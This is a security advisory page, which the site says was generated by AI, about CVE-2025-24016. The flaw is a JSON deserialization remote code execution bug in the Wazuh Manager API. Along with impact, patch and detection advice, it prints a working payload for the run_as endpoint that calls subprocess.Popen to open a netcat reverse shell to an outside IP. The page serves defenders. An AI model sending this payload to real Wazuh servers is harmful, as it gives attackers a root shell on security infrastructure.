CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-24016
9.993.80%

Who Monitors the Monitors? Unpacking the Wazuh RCE (CVE-2025-24016)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 18, 2026·6 min read·55 visits

Active ExploitationCISA KEV Listed

Executive Summary (TL;DR)

Critical RCE in Wazuh Manager (v4.4.0 - <4.9.1) via unsafe JSON deserialization in the API. Attackers can execute root-level commands by sending crafted JSON payloads containing special Python object hooks (like `__class__` and `__callable__`). Actively exploited by Mirai botnets.

In a twist of irony that would make Alanis Morissette proud, the Wazuh security platform—designed to hunt threats—became the threat itself. CVE-2025-24016 is a critical (CVSS 9.9) Remote Code Execution vulnerability residing in the Wazuh manager's API. By abusing a Python JSON deserialization feature intended for internal object reconstruction, attackers can force the server to execute arbitrary commands merely by sending a polite JSON request. Active in the wild and leveraged by Mirai botnets, this flaw turns your security dashboard into a command-and-control node for the very adversaries you were trying to keep out.

The Watchman's Paradox

Wazuh is the darling of the open-source SIEM world. It gathers logs, monitors file integrity, and hunts for malware across thousands of endpoints. Ideally, it is the fortress that keeps the barbarians at the gate. But what happens when the gatekeeper decides to let anyone in as long as they say the secret password? In this case, the password wasn't even secret—it was just standard Python syntax.

The vulnerability, CVE-2025-24016, lies deep within the Distributed API (DAPI) framework of the Wazuh manager. This component creates a mesh network between the dashboard, master nodes, and worker nodes, allowing them to share complex data structures. To make this communication seamless, the developers needed a way to serialize Python objects into JSON and back again.

Here is the rub: serialization is hard. Deserialization is harder. And doing it blindly on untrusted input is a cardinal sin. The Wazuh team implemented a mechanism that essentially said, "If this JSON looks like a Python object, turn it into one." This effectively gave remote attackers the ability to instantiate arbitrary classes and call functions on the underlying operating system, turning the security manager into a puppet.

The Flaw: Python's Dangerous Hooks

To understand this bug, we have to look at how Python handles JSON. The standard json.loads() function is safe by default—it turns JSON strings into simple dictionaries and lists. However, Python offers a feature called object_hook. This is a callback function that the decoder invokes for every dictionary it parses. It allows developers to convert a dictionary like {"type": "alert", "id": 1} into a proper Alert class instance automatically.

Wazuh implemented a custom hook, likely named as_wazuh_object (or similar logic within framework/wazuh/core/cluster/common.py). This function was designed to reconstruct exceptions and specific internal objects passed between nodes. It looked for "magic keys" in the JSON, specifically __class__, __args__, __callable__, and __unhandled_exc__.

When the code sees __class__, it dynamically imports the module and instantiates the class defined in the string. When it sees __callable__, it prepares to execute a function. This is functionally equivalent to the infamous pickle vulnerability, but implemented manually over JSON. The developer assumed this internal API would only ever process trusted data from other cluster nodes. They were wrong. The API endpoint /security/user/authenticate/run_as was exposed, and it passed user input directly to this deserialization logic.

The Smoking Gun: Analysis

Let's look at a reconstruction of the logic flow based on the vulnerability analysis. While the exact source lines have shifted in the fix, the logic flaw closely resembles this pattern:

# pseudo-code of the vulnerable logic in wazuh/core/cluster/common.py
 
def as_wazuh_object(dct):
    if '__unhandled_exc__' in dct:
        payload = dct['__unhandled_exc__']
        if '__class__' in payload:
            # DANGER: Dynamic import and instantiation
            module_name, class_name = payload['__class__'].rsplit('.', 1)
            module = __import__(module_name, fromlist=[class_name])
            cls = getattr(module, class_name)
            args = payload.get('__args__', [])
            # The server creates an instance of ANY class you name
            return cls(*args)
    return dct
 
# The trigger
json.loads(user_input, object_hook=as_wazuh_object)

The vulnerability is stark. There is no allowlist. There is no check to ensure the class being instantiated is a harmless WazuhError or ClusterMessage. If an attacker requests subprocess.Popen or os.system, the code dutifully imports the subprocess or os module and executes the command.

This is a classic case of "CWE-502: Deserialization of Untrusted Data." The developers built a powerful meta-programming feature to make their lives easier (passing exceptions across the cluster) but failed to realize that exposed APIs would grant that same power to unauthenticated or low-privileged users.

The Exploit: Weaponizing JSON

Exploiting this is trivially easy once you have access to the API. You don't need buffer overflows or heap spraying. You just need to speak JSON. The attack targets the run_as authentication endpoint, which parses the request body using the flawed hook.

An attacker constructs a JSON payload that describes the execution flow they want. Instead of sending a username, they send a blueprint for a shell command. Here is what a weaponized payload looks like:

{
    "__unhandled_exc__": {
        "__class__": "subprocess.Popen",
        "__args__": [
            "nc -e /bin/sh 10.0.0.1 4444",
            {
                "shell": true
            }
        ]
    }
}

The Kill Chain:

  1. Delivery: The attacker sends this JSON via a POST request to /security/user/authenticate/run_as.
  2. Deserialization: The Wazuh manager receives the request. json.loads encounters the dictionary.
  3. Hook Trigger: The object_hook sees __unhandled_exc__ and parses the inner object.
  4. Execution: The code sees subprocess.Popen. It imports subprocess, finds Popen, and calls it with the arguments provided (nc -e ...).
  5. Shell: The server spawns a reverse shell back to the attacker.

> [!WARNING] > This is not theoretical. Akamai SIRT has confirmed that Mirai botnets are actively using this exact technique to enslave Wazuh servers, turning them into DDoS nodes. The irony of a security tool performing a DDoS attack is palpable.

Impact: Total Compromise

The impact of CVE-2025-24016 cannot be overstated. It is a solid 9.9 on the CVSS scale. Why not 10? likely only because it technically requires network access to the API port, though in many deployments, this is exposed to the internal network or the internet for dashboard access.

Consequences:

  • RCE as Root/Wazuh User: The code runs with the privileges of the Wazuh service. In many setups, this effectively leads to root compromise of the host.
  • Lateral Movement: The Wazuh manager holds the keys to the kingdom. It communicates with thousands of agents installed on servers, workstations, and cloud instances. A compromised manager can push malicious configurations or commands to all agents, effectively compromising the entire fleet.
  • Data Exfiltration: The manager stores sensitive logs, vulnerability data, and compliance reports. All of this can be stolen.
  • Defense Evasion: The attacker can simply turn off logging or delete evidence of their presence, using the security tool to hide their tracks.

Remediation & Mitigation

If you are running Wazuh versions 4.4.0 through 4.9.0, you are vulnerable. The fix was released in version 4.9.1.

Immediate Actions:

  1. Patch Immediately: Upgrade to Wazuh Manager 4.9.1. The patch likely removes the ability to instantiate arbitrary classes or implements a strict allowlist of permitted classes for deserialization.
  2. Network Segmentation: If you cannot patch today, ensure your Wazuh API ports (default 55000) are NOT exposed to the internet. Restrict access to the API to only the IP address of the Wazuh Dashboard and authorized admins.
  3. WAF Rules: Configure your WAF to block JSON requests containing the strings __unhandled_exc__, __class__, or __callable__. This is a high-fidelity signature for this exploit.

The Fix Analysis: In version 4.9.1, the developers modified the as_wazuh_object logic. Instead of dynamically importing whatever the JSON specifies, the new code likely checks the __class__ name against a hardcoded list of safe, internal Wazuh classes. If the class isn't on the list, the deserializer throws an error or returns a plain dictionary, neutralizing the RCE.

Official Patches

WazuhWazuh 4.9.1 Release Notes

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H
EPSS Probability
93.80%
Top 0% most exploited

Affected Systems

Wazuh Manager 4.4.xWazuh Manager 4.5.xWazuh Manager 4.6.xWazuh Manager 4.7.xWazuh Manager 4.8.xWazuh Manager 4.9.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
Wazuh Manager
Wazuh
>= 4.4.0, < 4.9.14.9.1
AttributeDetail
CWECWE-502 (Deserialization of Untrusted Data)
CVSS Score9.9 (Critical)
Attack VectorNetwork (API)
Exploit StatusActive / Weaponized (Mirai)
EPSS Score93.80%
KEV ListedYes (June 10, 2025)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-502
Deserialization of Untrusted Data

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Known Exploits & Detection

GitHubPython script demonstrating RCE via run_as endpoint
Akamai SIRTAnalysis of Mirai botnet usage
NucleiDetection Template Available

Vulnerability Timeline

Wazuh 4.9.1 Released (Silent Patch)
2024-07-01
Public Disclosure / CVE Assigned
2025-01-15
Active Exploitation Detected (Akamai)
2025-03-01
Added to CISA KEV
2025-06-10

References & Sources

  • [1]NIST NVD CVE-2025-24016
  • [2]Wazuh Official Site

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.